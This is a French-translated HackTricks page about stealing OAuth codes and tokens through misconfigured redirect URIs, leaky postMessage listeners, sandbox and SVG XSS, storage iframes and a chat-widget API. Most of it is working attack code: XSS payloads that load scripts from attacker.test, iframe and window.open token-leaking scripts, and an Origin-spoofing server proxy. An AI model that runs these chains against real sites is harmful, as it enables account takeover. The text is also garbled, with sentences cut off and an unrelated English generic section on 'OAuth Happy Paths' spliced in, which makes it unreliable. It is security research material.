hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md
2023-06-03 13:10:46 +00:00

46 KiB

OAuth - Happy Paths, XSS, Iframes & Post Messages pour divulguer des valeurs de code et d'état

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ce contenu a été extrait de https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url****

Explication des différentes danses OAuth

Types de réponse

Tout d'abord, il existe différents types de réponse que vous pouvez utiliser dans la danse OAuth. Ces réponses accordent le jeton pour se connecter en tant qu'utilisateur ou les informations nécessaires pour le faire.

Les trois plus courants sont :

  1. code + state. Le code est utilisé pour appeler le serveur du fournisseur OAuth pour obtenir un jeton. Le paramètre state est utilisé pour vérifier que l'utilisateur correct effectue l'appel. Il incombe au client OAuth de valider le paramètre d'état avant de faire l'appel côté serveur au fournisseur OAuth.
  2. id_token. Est un jeton Web JSON (JWT) signé à l'aide d'un certificat public du fournisseur OAuth pour vérifier que l'identité fournie est bien celle qu'elle prétend être.
  3. token. Est un jeton d'accès utilisé dans l'API du fournisseur de services.

Modes de réponse

Il existe différents modes que le flux d'autorisation pourrait utiliser pour fournir les codes ou jetons au site Web dans la danse OAuth, voici quatre des plus courants :

  1. Query. Envoi de paramètres de requête en tant que redirection vers le site Web (https://example.com/callback?code=xxx&state=xxx). Utilisé pour code+state. Le code ne peut être utilisé qu'une seule fois et vous avez besoin du secret client OAuth pour acquérir un jeton d'accès lors de l'utilisation du code.
    1. Ce mode n'est pas recommandé pour les jetons car les jetons peuvent être utilisés plusieurs fois et ne doivent pas se retrouver dans les journaux du serveur ou similaires. La plupart des fournisseurs OAuth ne prennent pas en charge ce mode pour les jetons, uniquement pour le code. Exemples :
      • response_mode=query est utilisé par Apple.
        • response_type=code est utilisé par Google ou Facebook.
  2. Fragment. Utilisation d'une redirection de fragment (https://example.com/callback#access_token=xxx). Dans ce mode, la partie fragment de l'URL ne se retrouve dans aucun journal du serveur et ne peut être atteinte que côté client à l'aide de javascript. Ce mode de réponse est utilisé pour les jetons. Exemples :
    • response_mode=fragment est utilisé par Apple et Microsoft.
    • response_type contient id_token ou token et est utilisé par Google, Facebook, Atlassian et d'autres.
  3. Web-message. Utilisation de postMessage vers une origine fixe du site Web :
    postMessage('{"access_token":"xxx"}','https://example.com')
    Si elle est prise en charge, elle peut souvent être utilisée pour tous les types de réponse différents. Exemples :
    • response_mode=web_message est utilisé par Apple.
    • redirect_uri=storagerelay://... est utilisé par Google.
    • redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/... est utilisé par Facebook.
  4. Form-post. Utilisation d'un envoi de formulaire vers une redirect_uri valide, une requête POST régulière est renvoyée au site Web. Cela peut être utilisé pour le code et les jetons. Exemples :
    • response_mode=form_post est utilisé par Apple.
    • ux_mode=redirect&login_uri=https://example.com/callback est utilisé par Google Sign-In (GSI).

Casser intentionnellement state

La spécification OAuth recommande un paramètre state en combinaison avec un response_type=code pour s'assurer que l'utilisateur qui a initié le flux est également celui qui utilise le code après la danse OAuth pour émettre un jeton.

Cependant, si la valeur de state est invalide, le code ne sera pas consommé car c'est la responsabilité du site Web (la dernière) de valider l'état. Cela signifie que si un attaquant peut envoyer un lien de flux de connexion à une victime contaminée avec un state valide de l'attaquant, la danse OAuth échouera pour la victime et le code ne sera jamais envoyé au fournisseur OAuth. Le code sera toujours possible à utiliser si l'attaquant peut l'obtenir.

  1. L'attaquant démarre un flux de connexion sur le site Web en utilisant "Se connecter avec X".
  2. L'attaquant utilise la valeur state et construit un lien pour que la victime se connecte avec le fournisseur OAuth mais avec l'état de l'attaquant.
  3. La victime se connecte avec le lien et est redirigée vers le site Web.
  4. Le site Web valide l'état pour la victime et arrête le traitement du flux de connexion car ce n'est
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

redirigera vers https://example.com/callback?code=xxx&state=yyy. Mais:

https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow

redirigera vers https://example.com/callback#code=xxx&state=yyy&id_token=zzz.

La même idée s'applique à Apple si vous utilisez:

https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

vous serez redirigé vers https://example.com/callback?code=xxx&state=yyy, mais:

https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback

Vous serez redirigé vers https://example.com/callback#code=xxx&state=yyy&id_token=zzz.

Chemins Non-Heureux

L'auteur de la recherche a appelé chemins non-heureux les URL erronées où l'utilisateur se connecte via OAuth. Cela est utile car si le client reçoit le jeton ou un état+code valide mais qu'il n'atteint pas la page attendue, cette information ne sera pas correctement consommée et si l'attaquant trouve un moyen d'exfiltrer cette information du "chemin non-heureux", il pourra prendre le contrôle du compte.

Par défaut, le flux OAuth atteindra le chemin attendu, cependant, il pourrait y avoir des mauvaises configurations potentielles qui pourraient permettre à un attaquant de créer une demande OAuth initiale spécifique qui fera que l'utilisateur atteindra un chemin non-heureux après s'être connecté.

Incompatibilités d'URI de redirection

Ces mauvaises configurations "communes" ont été trouvées dans l'URL de redirection de la communication OAuth.

La spécification **** indique strictement que l'URL de redirection doit être strictement comparée à celle définie, ne permettant pas de modifications autres que l'apparition ou non du port. Cependant, certains points d'extrémité permettaient certaines modifications :

Ajout de chemin d'URI de redirection

Certains fournisseurs OAuth permettent l'ajout de données supplémentaires au chemin pour redirect_uri. Cela enfreint également la spécification de la même manière que pour "Changement de cas d'URI de redirection". Par exemple, en ayant un URI de redirection https://example.com/callback, en envoyant :

response_type=id_token&
redirect_uri=https://example.com/callbackxxx

Ajout de paramètres de redirection-uri

Certains fournisseurs OAuth permettent l'ajout de paramètres de requête ou de fragment supplémentaires à l'URI de redirection. Vous pouvez utiliser cela en déclenchant un chemin non-happy en fournissant les mêmes paramètres qui seront ajoutés à l'URL. Par exemple, en ayant une URI de redirection https://example.com/callback, en envoyant :

response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26

Le résultat dans ces cas serait une redirection vers https://example.com/callback?code=xxx&code=real-code. Selon le site web recevant plusieurs paramètres avec le même nom, cela pourrait également déclencher un chemin non-happy. La même chose s'applique à token et id_token:

response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26

Chemins heureux OAuth, XSS, iframes et messages POST pour divulguer des valeurs de code et d'état

Restes ou mauvaises configurations de redirect-uri

En collectant toutes les URL de connexion contenant les valeurs redirect_uri, je pourrais également tester si d'autres valeurs de redirect-uri étaient également valides. Sur les 125 flux de connexion différents de Google que j'ai enregistrés à partir des sites Web que j'ai testés, 5 sites Web avaient également la page de démarrage comme redirect_uri valide. Par exemple, si redirect_uri=https://auth.example.com/callback était celui utilisé, dans ces 5 cas, n'importe lequel de ceux-ci était également valide :

  • redirect_uri=https://example.com/
  • redirect_uri=https://example.com
  • redirect_uri=https://www.example.com/
  • redirect_uri=https://www.example.com

Cela était particulièrement intéressant pour les sites Web qui utilisaient réellement id_token ou token, car response_type=code aura toujours le fournisseur OAuth validant le redirect_uri dans la dernière étape de la danse OAuth lors de l'acquisition d'un jeton.

Gadget 1 : Écouteurs postMessage avec vérification d'origine faible ou inexistante qui divulguent l'URL

Dans cet exemple, le dernier chemin non heureux où le jeton/code était envoyé envoyait un message de demande POST divulguant location.href.
Un exemple était un SDK d'analyse pour un site populaire qui était chargé sur des sites Web :

Ce SDK exposait un écouteur postMessage qui envoyait le message suivant lorsque le type de message correspondait :

En envoyant un message à partir d'une origine différente :

openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');

Un message de réponse apparaîtrait dans la fenêtre qui a envoyé le message contenant location.href du site web :

Le flux qui pourrait être utilisé dans une attaque dépendait de la façon dont les codes et les jetons étaient utilisés pour le flux de connexion, mais l'idée était la suivante :

Attaque

  1. L'attaquant envoie à la victime un lien préparé qui a été préparé pour résulter en un chemin non heureux dans la danse OAuth.
  2. La victime clique sur le lien. Une nouvelle fenêtre s'ouvre avec un flux de connexion avec l'un des fournisseurs OAuth du site web qui est exploité.
  3. Le chemin non heureux est déclenché sur le site web qui est exploité, le listener postMessage vulnérable est chargé sur la page sur laquelle la victime a atterri, toujours avec le code ou les jetons dans l'URL.
  4. L'onglet original envoyé par l'attaquant envoie une série de postMessages à la nouvelle fenêtre avec le site web pour obtenir le listener postMessage pour divulguer l'URL actuelle.
  5. L'onglet original envoyé par l'attaquant écoute ensuite le message qui lui est envoyé. Lorsque l'URL revient dans un message, le code et le jeton sont extraits et envoyés à l'attaquant.
  6. L'attaquant se connecte en tant que victime en utilisant le code ou le jeton qui a fini sur le chemin non heureux.

Gadget 2 : XSS sur un domaine sandbox/tiers qui obtient l'URL

Gadget 2 : exemple 1, vol de window.name à partir d'un iframe sandbox

Celui-ci avait un iframe chargé sur la page où la danse OAuth s'est terminée. Le nom de l'iframe était une version JSON-stringifiée de l'objet window.location. C'est une ancienne façon de transférer des données entre domaines, car la page dans l'iframe peut obtenir son propre window.name défini par le parent :

i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)

Le domaine chargé dans l'iframe avait également une XSS simple:

https://examplesandbox.com/embed_iframe?src=javascript:alert(1)

Attaque

Si vous avez un XSS sur un domaine dans une fenêtre, cette fenêtre peut alors atteindre d'autres fenêtres de la même origine s'il y a une relation parent/enfant/opener entre les fenêtres.

Cela signifie qu'un attaquant pourrait exploiter le XSS pour charger un nouvel onglet avec le lien OAuth créé qui se terminera dans le chemin qui charge l'iframe avec le jeton dans le nom. Ensuite, à partir de la page exploitée par XSS, il sera possible de lire le nom de l'iframe car il a un opener sur la page parente des iframes et de l'exfiltrer.

Plus précisément :

  1. Créez une page malveillante qui intègre une iframe du sandbox avec le XSS chargeant mon propre script :

    <div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
    x=createElement('script'),
    x.src='//attacker.test/inject.js',
    document.body.appendChild(x);" 
    style="border:0;width:500px;height:500px"></iframe></div>
    
  2. Dans mon script chargé dans le sandbox, j'ai remplacé le contenu par le lien à utiliser pour la victime :

    document.body.innerHTML = 
    '<a href="#" onclick="
    b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
    Cliquez ici pour détourner le jeton</a>';
    

    J'ai également démarré un script dans un intervalle pour vérifier si le lien était ouvert et si l'iframe que je voulais atteindre était là pour obtenir le window.name défini sur l'iframe avec la même origine que l'iframe sur la page de l'attaquant :

    x = setInterval(function() {
    if(parent.window.b &&
     parent.window.b.frames[0] &&
     parent.window.b.frames[0].window &&
     parent.window.b.frames[0].window.name) {
       top.postMessage(parent.window.b.frames[0].window.name, '*');
       parent.window.b.close();
       clearInterval(x);
    }
    }, 500);
    
  3. La page de l'attaquant peut alors simplement écouter le message que nous venons d'envoyer avec le window.name :

    <script>
    window.addEventListener('message', function (e) {
     if (e.data) {
         document.getElementById('leak').innerText = 'Nous avons volé le jeton : ' + e.data;
     }
    });
    </script>
    

Gadget 2 : exemple 2, iframe avec XSS + vérification de l'origine parentale

Le deuxième exemple était une iframe chargée sur le chemin non heureux avec un XSS utilisant postMessage, mais les messages n'étaient autorisés que depuis la fenêtre parent qui l'a chargé. Le location.href a été envoyé à l'iframe lorsqu'elle a demandé initConfig dans un message à la fenêtre parent.

La fenêtre principale a chargé l'iframe comme ceci :

<iframe src="https://challenge-iframe.example.com/"></iframe>

OAuth Happy Paths: XSS, iframes and post messages to leak code and state values

Introduction

In this section we will see how to exploit some happy paths of OAuth to leak code and state values. We will use XSS, iframes and post messages to achieve this.

OAuth Happy Paths

Authorization Code Grant

Authorization Request

The authorization request is the first step in the Authorization Code Grant flow. It is sent by the client to the authorization server and includes the following parameters:

  • response_type: This parameter must be set to code.
  • client_id: The client identifier issued to the client during the registration process.
  • redirect_uri: The URI to which the authorization server will send the user-agent back once access is granted or denied.
  • scope: The scope of the access request.
  • state: An opaque value used by the client to maintain state between the request and callback.

Authorization Response

The authorization server responds to the authorization request by returning an authorization code. The authorization code is a temporary code that the client will exchange for an access token.

Exploiting the Authorization Request

XSS

An attacker can inject an XSS payload in the state parameter of the authorization request. When the authorization server sends the state parameter back to the client, the XSS payload will be executed in the context of the client's domain.

Iframes

An attacker can use an iframe to load the authorization request. The iframe can be hidden and the user will not notice that the authorization request has been sent. The attacker can then use post messages to communicate with the iframe and extract the authorization code and state values.

Post Messages

An attacker can use post messages to communicate with the authorization server and extract the authorization code and state values. The attacker can use an iframe to load the authorization request and then use post messages to extract the authorization code and state values.

Conclusion

In this section we have seen how to exploit some happy paths of OAuth to leak code and state values. We have used XSS, iframes and post messages to achieve this. It is important to note that these attacks can be prevented by implementing proper input validation and output encoding.

<script>
window.addEventListener('message', function (e) {
  if (e.source !== window.parent) {
    // not a valid origin to send messages
    return;
  }
  if (e.data.type === 'loadJs') {
    loadScript(e.data.jsUrl);
  } else if (e.data.type === 'initConfig') {
    loadConfig(e.data.config);
  }
});
</script>

Attaque

Dans ce cas, l'attaquant charge un iframe avec la page vulnérable Post-message XSS et exploite la XSS pour charger du JS arbitraire. Ce JS ouvre un onglet avec le lien OAuth. Après la connexion, la page finale contient le jeton dans l'URL et a chargé un iframe (l'iframe vulnérable Post-message XSS).

Ensuite, le JS arbitraire (de la XSS exploitée) a un ouvreur pour cet onglet, donc il accède à l'iframe et le fait demander au parent le initConfig (qui contient l'URL avec le jeton). La page parente le donne à l'iframe, qui est également commandé pour le divulguer.

Dans ce cas, je pourrais utiliser une méthode similaire à l'exemple précédent :

  1. Créer une page malveillante qui intègre un iframe du sandbox, attacher un onload pour déclencher un script lorsque l'iframe est chargé.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://challenge-iframe.example.com/"
    onload="run()"
    style="border:0;width:500px;height:500px"></iframe></div>
    
  2. Puisque la page malveillante est alors le parent de l'iframe, elle peut envoyer un message à l'iframe pour charger notre script dans l'origine du sandbox en utilisant postMessage (XSS) :

    <script>
    function run() {
      i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
    }
    </script>
    
  3. Dans mon script chargé dans le sandbox, j'ai remplacé le contenu par le lien pour la victime :

    document.body.innerHTML = '<a href="#" onclick="
    b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
    Cliquez ici pour détourner le jeton</a>';
    

    J'ai également démarré un script dans un intervalle pour vérifier si le lien était ouvert et si l'iframe que je voulais atteindre était là, pour exécuter du javascript à l'intérieur de celui-ci depuis mon iframe vers la fenêtre principale. J'ai ensuite attaché un écouteur de postMessage qui a transmis le message à mon iframe dans la fenêtre malveillante :

    x = setInterval(function() {
      if(b && b.frames[1]) {
        b.frames[1].eval(
          'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
          'top.postMessage({type:'initConfig'},"*")'
        )
        clearInterval(x)
      }
    }, 500);
    
  4. La page de l'attaquant qui avait l'iframe chargé peut alors écouter le message que j'ai envoyé depuis le proxy de l'écouteur postMessage injecté dans l'iframe de la fenêtre principale :

    <script>
    window.addEventListener('message', function (e) {
     if (e.data) {
         document.getElementById('leak').innerText = 'Nous avons volé le jeton : ' + JSON.stringify(e.data);
     }
    });
    </script>
    

Gadget 3 : Utilisation d'API pour récupérer une URL hors limites

Ce gadget s'est avéré être le plus amusant. Il y a quelque chose de satisfaisant à envoyer la victime quelque part et à récupérer des données sensibles à partir d'un emplacement différent.

Gadget 3 : exemple 1, iframe de stockage sans vérification d'origine

Le premier exemple utilisait un service externe pour les données de suivi. Ce service a ajouté un "iframe de stockage" :

<iframe
  id="tracking"
  name="tracking"
  src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>

La fenêtre principale communiquerait avec cet iframe en utilisant postMessage pour envoyer des données de suivi qui seraient enregistrées dans le localStorage de l'origine où se trouvait storage.html:

tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');

La fenêtre principale pourrait également récupérer ce contenu:

tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');

Lorsque l'iframe a été chargée lors de l'initialisation, une clé a été enregistrée pour la dernière position de l'utilisateur en utilisant location.href:

tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');

Si vous pouviez parler avec cette origine d'une manière ou d'une autre et la convaincre de vous envoyer le contenu, le location.href pourrait être récupéré à partir de ce stockage. Le postMessage-listener pour le service avait une liste de blocage et une liste d'autorisation d'origines. Il semble que le service d'analyse ait permis au site web de définir quelles origines autoriser ou refuser.

var blockList = [];
var allowList = [];
var syncListeners = [];

window.addEventListener('message', function(e) {
  // If there's a blockList, check if origin is there and if so, deny
  if (blockList && blockList.indexOf(e.origin) !== -1) {
    return;
  }
  // If there's an allowList, check if origin is there, else deny
  if (allowList && allowList.indexOf(e.origin) == -1) {
    return;
  }
  // Only parent can talk to it
  if (e.source !== window.parent) {
    return;
  }
  handleMessage(e);
});

function handleMessage(e) {
  if (data.type === 'sync') {
    syncListeners.push({source: e.source, origin: e.origin})
  } else {
  ...
}

window.addEventListener('storage', function(e) {
  for(var i = 0; i < syncListeners.length; i++) {
    syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
  }
}

De plus, si vous aviez une origine valide basée sur la allowList, vous pourriez également demander une synchronisation, ce qui vous donnerait toutes les modifications apportées au localStorage dans cette fenêtre envoyées lorsque celles-ci ont été effectuées.

Attaque

Sur le site web qui avait ce stockage chargé sur le chemin non-happy de la danse OAuth, aucune origine de la allowList n'était définie; cela permettait à n'importe quelle origine de parler avec le listener postMessage si l'origine était le parent de la fenêtre :

  1. J'ai créé une page malveillante qui a intégré un iframe du conteneur de stockage et a attaché un onload pour déclencher un script lorsque l'iframe est chargé.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://cdn.customer12345.analytics.example.com/storage.html"
    onload="run()"></iframe></div>
    
  2. Étant donné que la page malveillante était maintenant le parent de l'iframe, et qu'aucune origine n'était définie dans la allowList, la page malveillante pouvait envoyer des messages à l'iframe pour dire au stockage d'envoyer des messages pour toutes les mises à jour du stockage. Je pouvais également ajouter un écouteur à la page malveillante pour écouter toutes les mises à jour de synchronisation provenant du stockage :

    <script>
    function run() {
      i.postMessage({type:'sync'}, '*')
    }
    window.addEventListener('message', function (e) {
     if (e.data && e.data.type === 'sync') {
         document.getElementById('leak').innerText = 'Nous avons volé le jeton : ' + JSON.stringify(e.data);
     }
    });
    </script>
    
  3. La page malveillante contiendrait également un lien régulier pour que la victime clique :

    <a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
    target="_blank">Cliquez ici pour pirater le jeton</a>';
    
  4. La victime cliquerait sur le lien, passerait par la danse OAuth, et finirait sur le chemin non-happy chargeant le script de suivi et l'iframe de stockage. L'iframe de stockage reçoit une mise à jour de last-url. L'événement window.storage déclencherait dans l'iframe de la page malveillante puisque le localStorage a été mis à jour, et la page malveillante qui recevait maintenant des mises à jour chaque fois que le stockage changeait recevrait un postMessage avec l'URL actuelle de la victime :

Gadget 3: exemple 2, mélange de clients dans CDN - DIY stockage-SVG sans vérification d'origine

Puisque le service d'analyse lui-même avait une prime de bug, j'étais également intéressé à voir si je pouvais trouver un moyen de divulguer des URL également pour les sites web qui avaient configuré des origines appropriées pour l'iframe de stockage.

Lorsque j'ai commencé à chercher le domaine cdn.analytics.example.com en ligne sans la partie client, j'ai remarqué que ce CDN contenait également des images téléchargées par les clients du service :

https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png

J'ai également remarqué que des fichiers SVG étaient servis en ligne en tant que Content-type: image/svg+xml sur ce CDN:

https://cdn.analytics.example.com/img/customer54353/icon-register.svg

Je me suis inscrit en tant qu'utilisateur d'essai sur le service et j'ai téléchargé ma propre ressource, qui est également apparue sur le CDN :

https://cdn.analytics.example.com/img/customer94342/tiger.svg

La partie intéressante était que, si vous utilisiez ensuite le sous-domaine spécifique au client pour le CDN, l'image était toujours servie. Cette URL a fonctionné:

https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg

Cela signifiait que le client avec l'ID #94342 pouvait afficher des fichiers SVG dans le stockage du client #12345.

J'ai téléchargé un fichier SVG avec une charge utile XSS simple :

https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>

Pas génial. Le CDN a ajouté un en-tête Content-Security-Policy: default-src 'self' à tout ce qui se trouve sous img/. On pouvait également voir que l'en-tête du serveur mentionnait S3 - révélant que le contenu avait été téléchargé dans un bucket S3 :

Une particularité intéressante de S3 est que les répertoires ne sont pas vraiment des répertoires dans S3 ; le chemin avant la clé est appelé un "préfixe". Cela signifie que S3 ne se soucie pas si les / sont encodés en URL ou non, il servira toujours le contenu si vous encodez chaque slash dans l'URL. Si je changeais img/ en img%2f dans l'URL, l'image serait toujours résolue. Cependant, dans ce cas, l'en-tête CSP a été supprimé et le XSS a été déclenché :

J'ai ensuite téléchargé un SVG qui créerait la même forme de gestionnaire de stockage et de listener postMessage que le storage.html régulier, mais avec une allowList vide. Cela m'a permis de faire le même type d'attaque même sur des sites web qui avaient correctement défini les origines autorisées qui pouvaient parler au stockage.

J'ai téléchargé un SVG qui ressemblait à ceci :

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>

Je pourrais alors utiliser la même méthodologie que dans l'exemple #1, mais au lieu d'encadrer storage.html, je pourrais simplement encadrer le SVG avec la barre oblique encodée en URL:

<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>

Comme aucun site web ne serait capable de corriger cela lui-même, j'ai envoyé un rapport au fournisseur d'analyse responsable du CDN à la place :

L'idée de regarder les bugs de configuration incorrecte chez les tiers était principalement de confirmer qu'il existe plusieurs façons de faire fuiter les jetons et que le tiers avait une prime de bug, ce qui en faisait juste un récepteur différent pour le même type de bug, la différence étant que l'impact était pour tous les clients du service d'analyse. Dans ce cas, le client du tiers avait en fait la capacité de configurer correctement l'outil pour ne pas le faire fuiter de données à l'attaquant. Cependant, étant donné que les données sensibles étaient toujours envoyées au tiers, il était intéressant de voir s'il existait un moyen de contourner complètement la configuration correcte de l'outil par le client.

Gadget 3 : exemple 3, API de chat-widget

Le dernier exemple était basé sur un chat-widget présent sur toutes les pages d'un site web, même les pages d'erreur. Il y avait plusieurs écouteurs postMessage, dont l'un sans vérification d'origine appropriée qui ne vous permettait que de démarrer la fenêtre de chat. Un autre écouteur avait une vérification d'origine stricte pour que le chat-widget reçoive un appel d'initialisation et le jeton d'API de chat actuel qui était utilisé pour l'utilisateur actuel.

<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
  if (e.data.type === 'launch-chat') {
    openChat();
  }
});

function openChat() {
  ...
}

var chatApiToken;
window.addEventListener('message', function(e) {
  if (e.origin === 'https://chat-widget.example.com') {
    if (e.data.type === 'chat-widget') {
      if (e.data.key === 'api-token') {
        chatApiToken = e.data.value;
      }
      if(e.data.key === 'init') {
        chatIsLoaded();
      }
    }
  }
});

function chatIsLoaded() {
  ...
}
</script>

Lorsque l'iframe de chat est chargée :

  1. Si un jeton d'API de chat existait dans le localStorage du widget de chat, il enverrait le jeton d'API à son parent en utilisant postMessage. S'il n'y avait pas de jeton d'API de chat, il ne ferait rien.
  2. Lorsque l'iframe est chargée, elle envoie un postMessage avec {"type": "chat-widget", "key": "init"} à son parent.

Si vous avez cliqué sur l'icône de chat dans la fenêtre principale :

  1. Si aucun jeton d'API de chat n'avait été envoyé auparavant, le widget de chat en créerait un et le mettrait dans le localStorage de son propre domaine et le postMessage à la fenêtre parent.

  2. La fenêtre parent ferait alors un appel API au service de chat. Le point de terminaison de l'API était restreint par CORS au site Web spécifique configuré pour le service. Vous deviez fournir un en-tête Origin valide pour l'appel API avec le jeton d'API de chat pour permettre l'envoi de la demande.

  3. L'appel API de la fenêtre principale contiendrait location.href et l'enregistrerait en tant que "page actuelle" du visiteur avec le jeton d'API de chat. La réponse contiendrait ensuite des jetons pour se connecter à un websocket pour initier la session de chat :

    {
      "api_data": {
        "current_page": "https://example.com/#access_token=test",
        "socket_key": "xxxyyyzzz",
        ...
      }
    }
    

Dans cet exemple, j'ai réalisé que l'annonce du jeton d'API de chat serait toujours annoncée au parent de l'iframe du widget de chat, et si j'obtenais le jeton d'API de chat, je pourrais simplement faire une demande côté serveur en utilisant le jeton, puis ajouter mon propre en-tête Origin artificiel à l'appel API car un en-tête CORS ne concerne que le navigateur. Cela a donné la chaîne suivante :

  1. J'ai créé une page malveillante qui intègre une iframe du widget de chat, ajouté un écouteur postMessage pour écouter le jeton d'API de chat. De plus, j'ai déclenché un événement pour recharger l'iframe si je n'avais pas obtenu le jeton d'API en 2 secondes. C'était pour m'assurer que je prenais également en charge les victimes qui n'avaient jamais initié le chat, et comme je pouvais déclencher l'ouverture du chat à distance, j'avais d'abord besoin du jeton d'API de chat pour commencer à interroger les données dans l'API de chat côté serveur.

    <div id="leak"><iframe
    id="i" name="i"
    src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
    <script>
    var gotToken = false;
    function reloadToCheck() {
      if (gotToken) return;
      setTimeout(function() {
        document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
      }, 2000);
    }
    window.onmessage = function(e) {
      if (e.data.key === 'api-token') {
        gotToken = true;
        lookInApi(e.data.value);    
      }
    }
    launchChatWindowByPostMessage();
    </script>
    
  2. J'ai ajouté un lien vers la page malveillante pour ouvrir le flux de connexion qui finirait sur la page avec le widget de chat avec le jeton dans l'URL :

    <a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Cliquez ici pour pirater le jeton</a>
    
  3. La fonction launchChatWindowByPostMessage() enverra continuellement un postMessage à la fenêtre principale, si elle est ouverte, pour lancer le widget de chat :

    function launchChatWindowByPostMessage() {
      var launch = setInterval(function() {
        if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
      }, 500);
    }
    
  4. Lorsque la victime a cliqué sur le lien et a atterri sur la page d'erreur, le chat se lancerait et un jeton d'API de chat serait créé. Mon rechargement de l'iframe du widget de chat sur la page malveillante obtiendrait le api-token via postMessage et je pourrais alors commencer à chercher dans l'API l'URL actuelle de la victime :

    function lookInApi(token) {
      var look = setInterval(function() {
        fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
          if (e &&
            e.api_data &&
            e.api_data.current_url &&
            e.api_data.current_url.indexOf('access_token') !== -1) {
              var payload = e.api_data.current_url
              document.getElementById('leak').innerHTML = 'L\'attaquant a maintenant le jeton : ' + payload;
              clearInterval(look);
          }
        });
      }, 2000);
    }
    
  5. La page côté serveur à https://fetch-server-side.attacker.test/?token=xxx ferait l'appel API avec l'en-tête Origin ajouté pour faire croire à l'API de chat que je l'utilisais en tant qu'origine légitime :

    addEventListener('fetch', event => {
      event.respondWith(handleRequest(event.request))
    })
    async function getDataFromChatApi(token) {
      return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
    }
    function handleRequest(request) {
      const token = request.url.match('token=([^&#]+)')[1] || null;
      return token ? getDataFromChatApi(token) : null;
    }
    
  6. Lorsque la victime a cliqué sur le lien et a effectué la danse OAuth et a atterri sur la page d'erreur avec le jeton ajouté, le widget de chat se serait soudainement ouvert, enregistrerait l'URL actuelle et l'attaquant aurait le jeton d'accès de la victime.

Autres idées pour la fuite d'URL

Il existe encore d'autres types de gadgets différents qui attendent d'être découverts. Voici l'un de ces cas que je n'ai pas pu trouver dans la nature mais qui pourrait être un moyen potentiel de faire fuiter l'URL en utilisant l'un des modes de réponse disponibles.

Une page sur un domaine qui achemine tout postMessage vers son ouvreur

Comme tous les types de réponse web_message ne peuvent pas valider le chemin de l'origine, n'importe quelle URL sur un domaine valide peut recevoir le postMessage avec le jeton. S'il y a une forme de proxy d'écouteur postMessage sur l'une des pages du domaine, qui prend n'importe quel message envoyé et envoie tout à son opener, je peux faire une double chaîne window.open :

Page de l'attaquant 1 :

<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>

Page de l'attaquant 2:

XSS et iframes pour voler des valeurs d'état et de code

